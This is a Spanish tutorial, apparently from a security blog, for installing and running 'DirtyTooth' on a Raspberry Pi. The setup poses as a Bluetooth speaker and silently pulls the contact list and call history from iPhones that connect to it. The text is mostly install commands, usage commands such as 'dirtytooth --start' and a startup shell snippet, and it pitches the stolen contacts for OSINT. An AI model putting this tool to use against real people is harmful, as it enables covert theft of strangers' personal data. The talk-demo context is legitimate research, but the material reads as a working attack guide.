Con una Raspberry Pi 3 u otra Raspberry Pi anterior con un dongle USB BlueTooth, podemos convertir nuestra Raspberry Pi en un Rogue BlueTooth Speaker y poder llevarnos de regalo los contactos de todos los dispositivos iPhone que se conecten a él.
Figura 2: DirtyTooth para Raspberry Pi |
Para instalar el paquete dirtytooth.deb necesitamos tener un Raspbian Jessie y las dependencias necesarias que podemos instalar con:
sudo apt-get updatesudo apt-get install pi-bluetooth libbluetooth-dev python-dev python-dbus python-pip python- gobject python-gobject-2 git pulseaudio pulseaudio-module-bluetoothTras realizar la instalación de las dependencias, instalar el paquete con dpkg:
sudo dpkg -i dirtytooth.deb
Figura 3: Instalación del paquete DirtyTooth |
Se pueden realizar todos estos pasos de manera automática utilizando el script install.sh que acompaña. Para el funcionamiento son necesarias algunas librerías para Python que se descargarán automáticamente al instalarse el .deb, pero en caso de tener algún problema con la instalación, por ejemplo si se cae la conexión a Internet en medio de la instalación o los enlaces al GitHub se hubieran caído o cambiado, son PyBluez, nOBEX y psutil. La librería PyBluez y psutil pueden instalarse directamente desde pip en las versiones testeadas:
sudo pip install pybluez==0.22 sudo pip install psutil==5.2.2Sin embargo, nOBEX la descargaremos desde su GitHub y las instalaremos manualmente, ya que no existe actualmente en los repositorios pip:
git clone https://github.com/nccgroup/nOBEX.git cd nOBEX
git reset --hard 0583c72
sudo python setup.py install
Nota: Nos posicionamos en el commit 0583c72 porque es el que hemos probado que funciona. Si en un futuro hay cambios en el repositorio no podemos asegurar el funcionamiento, por tanto instalamos desde el commit probado.Una vez instalado, el funcionamiento de DirtyTooth es muy sencillo. Podemos consultar su ayuda del paquete para tener más detalles: dirtytooth --help
Figura 4: Ayuda de DirtyTooth Package |
Aquí vemos que la forma de utilizarlo es muy simple, podemos activar o desactivar el agente, que es necesario para poder encontrar el Rogue BlueTooth Speaker que hará el DirtyTooth Hack y también podemos obtener la agenda si sabemos la dirección MAC del dispositivo. Para el iniciar y parar el agente debemos ejecutarlo con: sudo dirtytooth --start
Figura 5: DirtyTooth Hack en ejecución, capturando datos de un dispositivo conectado |
Una vez que el proceso está arrancado, cada vez que se conecte un dispositivo por BlueTooth se llamará automáticamente a la ejecución de dirtytooth con la dirección MAC del dispositivo conectado y se guardarán los resultados en la carpeta /root/dirtytooth.
Es necesario saber que para ejecutar el comando manualmente con una dirección MAC específica, el dispositivo tiene que estar conectado en ese momento y ejecutarlo con el siguiente formato:
sudo dirtytooth --mac AA:BB:CC:DD:EE:FFLos resultados que se guardan son dos: la agenda de contactos y el histórico de llamadas. Al tratarse de Bluetooth 2.1 o superior (Bluetooth 4.0 en el caso concreto de la Raspberry Pi 3) no es necesario poner el PIN o Token de Pareado y se conectará automáticamente al intentar realizar la conexión con el dispositivo.
Figura 6: Instalación y Uso de DirtyTooth Package en Raspberry Pi
El resultado final ya lo conocemos, una vez que el móvil se conecta a nuestro “Rogue BlueTooth Speaker” al cabo de unos segundos se cambiará el perfil de audio por el PBAP accediendo a la agenda del teléfono conectado y guardando una copia de los contactos. Posteriormente se pueden usar los datos recogidos para hacer OSINT y obtener información de interés sobre los contactos obtenidos.
En este charla tienes los demos y la explicación completa.
Figura 7: DirtyTooth Hack: It´s Only Rock'n Roll but I Like it en Open Expo 2017
DIRTY=$(ps cax | grep -v grep | grep dirtyagent) if [ "$DIRTY" == "" ] ; thenEnjoy it!
pulseaudio -D
/usr/lib/dirtytooth/start fi